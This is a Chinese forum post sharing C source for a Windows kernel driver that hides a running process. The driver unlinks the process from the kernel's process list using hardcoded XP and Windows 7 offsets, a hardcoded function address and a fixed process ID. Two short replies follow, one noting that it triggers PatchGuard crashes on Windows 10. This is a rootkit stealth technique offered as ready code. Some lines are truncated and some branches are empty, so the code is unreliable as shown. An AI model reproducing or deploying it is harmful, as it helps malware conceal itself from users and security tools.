进程隐藏(防蓝屏版)

admin · · Windows程序设计
2

本文共计2205个字,预计阅读时长8.8分钟。

``` #include <Ntifs.h> // 未导出函数 // 用于增加或删除驱动链表中的某一元素 typedef VOID(*pMiProcessLoaderEntry)( IN PVOID DataTableEntry, IN LOGICAL Insert ); pMiProcessLoaderEntry MiProcessLoaderEntry; // 获取(ActiveProcessLinks)进程链表的相对(EPROCESS)偏移 ULONG GetProcessOffset() { if (SharedUserData->NtMajorVersion == 5) // 如果位 Windows Xp { return 0x88; } else if ((SharedUserData->NtMajorVersion == 6) && (SharedUserData->NtMinorVersion == 1)) // 如果为Windows7 { if (sizeof(PVOID) == 4) // 如果为 32 位Windows7 { return 0x0b8; } else // 如果为 64 位Windows7 { return 0x188; } } return 0; } // 隐藏进程 VOID HideProcess(HANDLE hProcessId) { PEPROCESS Process; ULONG offset; NTSTATUS status = PsLookupProcessByProcessId(hProcessId, &Process); if (!NT_SUCCESS(status)) { DbgPrint("查找进程失败\n"); return; } offset = GetProcessOffset(); if (offset == 0) { DbgPrint("offset == 0\n"); return; } if (MiProcessLoaderEntry != NULL) { // 将进程从进程链表中剔除, 达到隐藏进程的效果 MiProcessLoaderEntry((PCHAR)Process + offset/*LDR_DATA_TABLE_ENTRY驱动结构体*/, FALSE/*FALSE为从驱动链表中删除,TRUE为插入*/); DbgPrint("隐藏进程成功\n"); } else { DbgPrint("隐藏进程失败\n"); } } VOID Unload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("卸载驱动\n"); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegeditPath) { DbgPrint("加载驱动\n"); NTSTATUS status = STATUS_SUCCESS; HANDLE hThrea? DriverObject->DriverUnload = Unloa? if (SharedUserData->NtMajorVersion == 5) // 为XP系统的话 { MiProcessLoaderEntry = (pMiProcessLoaderEntry)0x8050eb06; } else { #ifdef _X86_ // 如果为 32 位的Win7 #else // 如果为 64 位的Win7 #endif } HideProcess((HANDLE)1232); return status; } ```
最后于 5月前 被admin编辑 ,原因:

最新回复 ( 2 )
全部楼主
  • gs666 @Ta
    2
    这个应该还是会蓝屏吧,win10下一个小时左右好像会触发PG导致蓝屏(上面这个源码没有更新win10的偏移,我更新了测了一下)。
  • 3
    学习一下